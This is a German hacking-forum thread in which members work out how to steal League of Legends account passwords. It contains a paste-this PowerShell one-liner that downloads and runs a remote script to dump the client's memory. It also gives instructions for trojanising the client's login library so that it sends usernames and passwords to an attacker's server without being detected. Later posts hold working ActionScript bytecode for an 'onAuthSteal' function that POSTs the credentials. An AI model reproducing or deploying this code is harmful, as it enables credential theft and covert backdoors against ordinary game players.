Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

League of Legends Passwort aus Memory dumpen [Hilfe gesucht]

- - - - -

  • Bitte melde dich an um zu Antworten
5 Antworten in diesem Thema

#1
o0o

o0o

    Script Kiddie

  • Members
  • PIPPIPPIPPIP
  • Likes
    27
  • 33 Beiträge
  • 15 Bedankt

Also wie es aussieht behält LolClient.exe das Klartextpasswort die ganze Zeit im Memory.

Frage ist nur, wie rankommen, da es sich in einer ziemlich großen Memorypage befindet, die wahrscheinlich von Adobe Air irgendwie intern gemanaged wird.

 

Also habe ich ein kleines Powershell-Skript geschrieben, dass den Prozess dumpt und dann im Dump mithilfe von Patterns nach dem Passwort sucht.

 

Die Preisfrage ist jetzt nur: Wird euer Memory so ähnlich aussehen wie meins oder habe ich einen Tag verschwendet?  :-X

 

Daher brauche ich Tester. Zum ausführen einfach LolClient offen haben (angemeldet sein) und dies in eine CMD pasten:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Numbers11/lol-pwd/master/Extract-Lol.ps1'); Extract-Lol;"

Der Source ist auch direkt lesbar unter der URL, falls ihr (mit Recht) misstrauisch seid.

 

 

Bitte den Output und eure Windows Version/Prozessorarchitektur hier posten, aber aufpassen dass ihr keine potentiell sensiblen Informationen aus dem Memorydump-Ausschnitt preisgebt.

 

<3 , o0o


<3 is all you need


#2
pr0legend

pr0legend

    Script Kiddie

  • Members
  • PIPPIPPIPPIP
  • Likes
    23
  • 40 Beiträge
  • 5 Bedankt

Hi,

 

also mein Kollege S3RB31 & ich hatten uns auch mal einem lolstealer gewidmet. Ich kann dir hier keine komplettanleitung zur Verfügung stellen weil das den Rahmen meiner Zeit echt sprengen würde, aber mit etwas Willen kannst du dich selbst zum (meiner Meinung nach eleganten) Ziel haxxorn.

 

Knowledge:

 

1) League of Legends Client ist komplett actionscript, d.h. decompilebar ;) google-> AS decompiler (SWF decompiler)

2) C:\Riot Games\League of Legends\RADS\projects\lol_air_client\releases\<version>\deploy\lib <- die ganzen .dat files knanst du mit 7zip entpacken und erhälst die .swf-Datei. Mit Hilfe von rabcdasm

Please Login HERE or Register HERE to see this link!

kannst du diese SWF-Datei nun decompilen...

 

Was du tun musst:

 

Die ClientLib.dat umprogrammieren und eine AS3 Funktion schreiben die einen String sendet. Dann rufst du in der "OnAuthSuccess" Funktion deine Funktion, nennen wir sie mal SendData() auf und diese muss dann this.username und this.password einfach an deinen webserver senden.

 

Dann packst du die modifizierte SWF als resource in deinen backdorr oder was auch immer du hast und dropst die Datei/ersetzt sie mit der originalen ClientlibLogin.dat! -> et voila!

 

 

Vorteile: Du bekommst immer onAuthSuccess(), also NUR DANN WENN die userdaten korrekt sind diese zugesandt, du hast außerdem KEINE EXE im background laufen und bist somit von detections komplett safe. Außerdem wird niemand vermuten dass der lolclient selbst der backdoor ist und dir regelmäßig die daten sendet^^

 

Hatte damals paar hacks für lol geschrieben und auf epvp paar tausend downloads bekommen, ist bis heute nicht aufgefallen^^

 

HF


  • Becks, Framerater und o0o gefällt das
“There is a theory which states that if ever anyone discovers exactly what the Universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarre and inexplicable.
There is another theory which states that this has already happened.”
- Douglas Adams

#3
o0o

o0o

    Script Kiddie

  • Members
  • PIPPIPPIPPIP
  • Likes
    27
  • 33 Beiträge
  • 15 Bedankt

Das ist ne ziemlich sicke Lösung.

Man könnte eine komplette Backdoor in Lol damit laufen haben.

Erstaunlich, dass der Client die Dateien nicht validiert.

Bei einem Update würde das aber jedesmal überschrieben werden, nicht?


<3 is all you need


#4
o0o

o0o

    Script Kiddie

  • Members
  • PIPPIPPIPPIP
  • Likes
    27
  • 33 Beiträge
  • 15 Bedankt

Funktioniert gut.

 
      getlocal0
      getproperty         QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "logger")
	  findproperty			QName(PackageNamespace(""), "password")
      getproperty         QName(PackageNamespace(""), "password")
      callproperty        QName(Namespace("mx.logging:ILogger"), "warn"), 1
      pop
	  	  

Einziges Problem ist dass so Bytecodekram nie meine Stärke war und ich dauernd den Stack zerschieße, kriege noch nicht einmal zwei Strings gejoined. :D

 

 

 

 

 

YSUaCet.png


Bearbeitet von o0o, 08 August 2015 - 23:50 Uhr.

<3 is all you need


#5
o0o

o0o

    Script Kiddie

  • Members
  • PIPPIPPIPPIP
  • Likes
    27
  • 33 Beiträge
  • 15 Bedankt

Läuft jetzt wie ne 1, nochmal Danke an pr0legend 

Für die Interessierten, nach dem Decompilen ist die fragliche Funktion in 

\ClientLibLogin~-4\com\riotgames\platform\gameclient\module\login\controller\LoginMediator.class.asasm

Dort dann in der onAuthSuccess Funktion eigenen Code einfügen.
Bei mir

      getlocal0
      findproperty     QName(PackageNamespace(""), "password")
      getproperty      QName(PackageNamespace(""), "password")
      getlocal2

      callproperty        QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "onAuthSteal"), 2
      pop

 
 
Um unsere eigene Funktion "onAuthSteal" aufzurufen. (Wahrscheinlich kein guter Name  :P )
 
Diese lautet dann, um Username|Passwort an localhost senden zu lassen und Username/Passwort im Debuglog zu speichern (das solltet ihr logischerweise entfernen vor dem Einsatz):
 

  trait method QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "onAuthSteal")
   method
    name ""
    refid "com.riotgames.platform.gameclient.module.login.controller:LoginMediator/instance/com.riotgames.platform.gameclient.module.login.controller:LoginMediator/instance/onAuthSteal"
    returns QName(PackageNamespace(""), "void")
    param QName(PackageNamespace(""), "String")
    param QName(PackageNamespace(""), "String")
    body
     maxstack 3
     localcount 6
     initscopedepth 0
     maxscopedepth 1
     code
      getlocal0
      pushscope

	  
      getlocal0
      getproperty         QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "logger")
      getlocal1
	  pushstring "/"
	  add
	  getlocal2
	  add
      callproperty        QName(Namespace("mx.logging:ILogger"), "warn"), 1
      pop
	  
      findpropstrict      QName(PackageNamespace("flash.net"), "URLRequest")
      pushstring          "http://localhost"
      constructprop       QName(PackageNamespace("flash.net"), "URLRequest"), 1
      coerce              QName(PackageNamespace("flash.net"), "URLRequest")
      setlocal3

      findpropstrict      QName(PackageNamespace("flash.net"), "URLVariables")
      constructprop       QName(PackageNamespace("flash.net"), "URLVariables"), 0
      coerce              QName(PackageNamespace("flash.net"), "URLVariables")
      dup
      setlocal            4
	  
      getlocal2
      pushstring          "|"
      add
      getlocal1
      add
      setproperty         Multiname("data", [PrivateNamespace("Main"), ProtectedNamespace("Main"), StaticProtectedNs("Main"), StaticProtectedNs("flash.display:Sprite"), StaticProtectedNs("flash.display:DisplayObjectContainer"), StaticProtectedNs("flash.display:InteractiveObject"), StaticProtectedNs("flash.display:DisplayObject"), StaticProtectedNs("flash.events:EventDispatcher"), StaticProtectedNs("Object"), PackageNamespace("flash.net"), PackageNamespace(""), PackageInternalNs(""), PrivateNamespace("FilePrivateNS:Main"), Namespace("http://adobe.com/AS3/2006/builtin")])


      getlocal3
      getlocal            4
      setproperty         QName(PackageNamespace(""), "data")

      getlocal3
      pushstring          "POST"
      setproperty         QName(PackageNamespace(""), "method")


      findpropstrict      QName(PackageNamespace("flash.net"), "URLLoader")
      constructprop       QName(PackageNamespace("flash.net"), "URLLoader"), 0
      coerce              QName(PackageNamespace("flash.net"), "URLLoader")
      dup
      setlocal            5	  

      getlocal3
      callpropvoid        QName(PackageNamespace(""), "load"), 1

	  
      returnvoid
     end ; code
    end ; body
   end ; method
  end ; trait

Schöne Sache :)


Bearbeitet von o0o, 10 August 2015 - 03:09 Uhr.

<3 is all you need


#6
pr0legend

pr0legend

    Script Kiddie

  • Members
  • PIPPIPPIPPIP
  • Likes
    23
  • 40 Beiträge
  • 5 Bedankt

Läuft jetzt wie ne 1, nochmal Danke an pr0legend 

Für die Interessierten, nach dem Decompilen ist die fragliche Funktion in 

\ClientLibLogin~-4\com\riotgames\platform\gameclient\module\login\controller\LoginMediator.class.asasm

Dort dann in der onAuthSuccess Funktion eigenen Code einfügen.
Bei mir

      getlocal0
      findproperty     QName(PackageNamespace(""), "password")
      getproperty      QName(PackageNamespace(""), "password")
      getlocal2

      callproperty        QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "onAuthSteal"), 2
      pop

 
 
Um unsere eigene Funktion "onAuthSteal" aufzurufen. (Wahrscheinlich kein guter Name  :P )
 
Diese lautet dann, um Username|Passwort an localhost senden zu lassen und Username/Passwort im Debuglog zu speichern (das solltet ihr logischerweise entfernen vor dem Einsatz):
 

  trait method QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "onAuthSteal")
   method
    name ""
    refid "com.riotgames.platform.gameclient.module.login.controller:LoginMediator/instance/com.riotgames.platform.gameclient.module.login.controller:LoginMediator/instance/onAuthSteal"
    returns QName(PackageNamespace(""), "void")
    param QName(PackageNamespace(""), "String")
    param QName(PackageNamespace(""), "String")
    body
     maxstack 3
     localcount 6
     initscopedepth 0
     maxscopedepth 1
     code
      getlocal0
      pushscope

	  
      getlocal0
      getproperty         QName(PrivateNamespace("com.riotgames.platform.gameclient.module.login.controller:LoginMediator"), "logger")
      getlocal1
	  pushstring "/"
	  add
	  getlocal2
	  add
      callproperty        QName(Namespace("mx.logging:ILogger"), "warn"), 1
      pop
	  
      findpropstrict      QName(PackageNamespace("flash.net"), "URLRequest")
      pushstring          "http://localhost"
      constructprop       QName(PackageNamespace("flash.net"), "URLRequest"), 1
      coerce              QName(PackageNamespace("flash.net"), "URLRequest")
      setlocal3

      findpropstrict      QName(PackageNamespace("flash.net"), "URLVariables")
      constructprop       QName(PackageNamespace("flash.net"), "URLVariables"), 0
      coerce              QName(PackageNamespace("flash.net"), "URLVariables")
      dup
      setlocal            4
	  
      getlocal2
      pushstring          "|"
      add
      getlocal1
      add
      setproperty         Multiname("data", [PrivateNamespace("Main"), ProtectedNamespace("Main"), StaticProtectedNs("Main"), StaticProtectedNs("flash.display:Sprite"), StaticProtectedNs("flash.display:DisplayObjectContainer"), StaticProtectedNs("flash.display:InteractiveObject"), StaticProtectedNs("flash.display:DisplayObject"), StaticProtectedNs("flash.events:EventDispatcher"), StaticProtectedNs("Object"), PackageNamespace("flash.net"), PackageNamespace(""), PackageInternalNs(""), PrivateNamespace("FilePrivateNS:Main"), Namespace("http://adobe.com/AS3/2006/builtin")])


      getlocal3
      getlocal            4
      setproperty         QName(PackageNamespace(""), "data")

      getlocal3
      pushstring          "POST"
      setproperty         QName(PackageNamespace(""), "method")


      findpropstrict      QName(PackageNamespace("flash.net"), "URLLoader")
      constructprop       QName(PackageNamespace("flash.net"), "URLLoader"), 0
      coerce              QName(PackageNamespace("flash.net"), "URLLoader")
      dup
      setlocal            5	  

      getlocal3
      callpropvoid        QName(PackageNamespace(""), "load"), 1

	  
      returnvoid
     end ; code
    end ; body
   end ; method
  end ; trait

Schöne Sache :)

 

 

Sehe erst gerade wie schrecklich meine Anleitung war, ich hatte dir ja nichtmals den Namen ClientLibLogin.lib oder dir den ASASM-Dateinamen genannt. Ich bin stolz auf dich dass du das hinbekommen hast (mit den wenigen Infos und dich damit dann doch noch so "viel" beschäftigt hast)! Schön zu sehen dass es noch welche wie dich gibt - Gratulation! :)

 

Hätte ich das früher gelesen, dass du dich damit so viel beschäftigt hast (unerwartet), hätte ich dir auch gerne die Funktionen zum senden (in ASASM code) zur Verfügung gestellt!

 

"Bei einem Update würde das aber jedesmal überschrieben werden, nicht?"

 

Ja, aber die ClientLibLogin wird quasi nie updated ;D


Bearbeitet von pr0legend, 13 August 2015 - 02:19 Uhr.

  • Torenjk gefällt das
“There is a theory which states that if ever anyone discovers exactly what the Universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarre and inexplicable.
There is another theory which states that this has already happened.”
- Douglas Adams



  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 65 user(s)


    *zone, <cerrno>, Arthurarsch, Becks, BlackZetsu, c3fC, ChEeTaH182, cooky1, Crap, Cube, easysurfer, Emalik Xantier, EncepT, eq22, Erikson, fake2pay, fAYe, Framerater, gamebit, Goooofy, gutzuu, Halalpig, Hydra, Irhabi, Janjij, Johnex, Juri, kakao1, keyb0ardz, kingkev0, kiwitone, lNobodyl, lolorollo, Minimax, most_uniQue, n1nja, Neonxen, nibble nibble, notfound, o0o, Onek, Osed28, pdr0, pr0legend, raider, Rikanono, Rogerlopensio, SAR, SavE1, Scrilla, Seldos, Silent0wn3r, sniffer, superei, Take1T, teekoppe, Telephone, Toolbase, Torenjk, TuttiFrutti, UDXR, ueEqlL, xenomorph, xl3iitches, xmmlegends
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.